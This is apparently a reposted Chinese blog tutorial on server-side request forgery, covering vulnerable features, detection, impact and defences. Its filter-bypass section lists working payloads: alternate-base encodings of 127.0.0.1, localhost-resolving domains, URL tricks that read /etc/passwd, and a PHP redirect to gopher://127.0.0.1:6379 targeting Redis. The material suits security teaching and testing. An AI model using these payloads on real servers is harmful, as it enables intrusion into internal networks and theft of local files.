SSRF基本介绍

SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造服务端发起请求,从而突破客户端获取不到数据的限制

常见存在SSRF的功能点

  • 在线翻译
  • 图片加载
  • 下载服务
  • 网站采集
  • 文件包含
  • 预览内容
  • 转码
  • 收藏
  • 分享
  • 多媒体加载
  • 在线编程
  • api demo
  • 站长工具
  • 扫一扫
  • markdown浏览

常见判断方法

  1. 有回显
  2. 有延时 比如?url=www.google.com,有大量延时,而访问有的很快,有差异
  3. 外带请求 可以利用dnslog平台测试(http://ceye.io/records/dns),bp也有,或者自己的服务器nc -lvp 端口号 监听请求

常见利用方式和危害

1.内网探测

  • 可以对外网服务器所在的内网、本地进行端口扫描(判断内网主机是否存活),获取一些服务的banner信息,指纹识别等
A类地址:10.0.0.0--10.255.255.255
B类地址:172.16.0.0--172.31.255.255 
C类地址:192.168.0.0--192.168.255.255

2.内网应用攻击

  • 攻击运行在内网或者本地的应用程序(利用跨协议通信技术),比如redis、mysql等等只能本地访问的应用

内网服务的防御相对于外网服务来说一般会较弱,特别是小企业,会减少内网防护以节省资金,甚至有的内网服务为了运维方便并没有对内网的访问设置权限验证,所以对内网应用的攻击通常是致命的

3.文件读取

  • 利用file协议读取本地文件等

4.dos攻击

  • 请求大文件,始终保持连接keep-alive always

5.获取网站真实ip

  • 网站往往都有CDN,通过SSRF抓包可以获取真实ip

防御措施

1.输入合法性校验

根据业务的需求,合理采用白名单或者黑名单的方式对用户输入的URL进行过滤(最好采用白名单),拒绝内网地址的主机,限制使用协议,尽量避免用户使用gopher://、dict://、file://或者ftp://等协议扩大攻击面,限制使用特殊字符(如:@#等等)。

简单的过滤url地址很容易有遗漏,也很容易被绕过,如:ip地址转换进制、使用xip.io服务、ip后添加端口、使用短域名等等千变万化的操作,都有可能绕过黑名单。所以我们需尽量使用白名单进行过滤,但据我个人经验,单纯的白名单过滤同样存在被绕过的可能,例如302跳转访问内网,所以需要后续的防治方案加以辅助。

2.限制访问内网

攻击者很容易利用SSRF漏洞进行内网信息探测,而内网系统通常过分信赖服务器,导致内网信息大量被攻击者获取,所以,web服务器需要对请求的url进行限制。

进行hostname限制,指定一些特殊域名解析到内网地址,禁止直接通过IP访问。将用户输入的URL进行解析,把端口号硬编码,即写死在代码里,控制用户访问的范围。

3.返回响应验证

web服务器在请求获取某一文件、加载图片或者网页内容时,对返回的响应内容先进行验证再显示到用户浏览器中。比如获取网页内容时,需对文件内容进行过滤,验证是否泄露敏感信息等,如获取title标签为内网某个重要api查询数据接口。对于访问一些不正常的url时,服务器需对这些错误信息进行统一处理,避免攻击者根据这些错误信息探测内网服务器端口开放状态 。

4.网络限制

从防火墙层面做好网络限制,不允许服务器对内网发起请求。

WAF绕过

经常会有奇奇怪怪的waf阻拦我们

添加端口

127.0.0.1:80

使用短链接

  • 把http://localhost:80或http://127.0.0.1:80缩短
  • 使用4m短网址或站长工具即可(短链接本质是302跳转)
  • is.gd可以自定义后缀的短网址

使用能解析到本地的公共域名

http://127-0-0-1.s.test.cab/	//可以任意配置ip解析
http://3eqe.qwde.127.0.0.1.xip.io/	
http://devd.io                   //以下域名均解析到127.0.0.1
https://localtest.me/ 	
http://localhost.sec.qq.com/	
http://lvh.me/				
http://strikingly.io/
http://imis.qq.com/
http://safe.taobao.com/
http://114.taobao.com/
http://ecd.tencent.com/
http://wifi.aliyun.com/
http://0

使用其他进制的ip

url不仅可以解析十进制的ip。也可以解析其他进制的

//以下均等价于127.0.0.1
00177.0.0.1			//八进制
0x7f.0.0.1			//十六进制
0x7f000001			//甚至可以连成一串不要.
2130706433			//十进制连成一串
0177.0.0.0x01		//不同进制组合也是可以的

添加一些url标志混淆

http://www.baidu.com@127.0.0.1/
http://a@127.0.0.1:80@baidu.com
http://127.0.0.1/www.baidu.com/../../../../../etc/passwd
http://127.0.0.1/?url=www.baidu.com
http://127.0.0.1/#www.baidu.com

封闭式字母数字绕过

http://www.52unicode.com/enclosed-alphanumerics-zifu

有的可以正确解析

句号绕过

服务端为linux可用

127。0。0。1

302跳转

有的SSRF支持自动重定向

<?php
header("Locarion: gopher://127.0.0.1:6379/_");
?>
内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/b1ackc4t/p/15602434.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!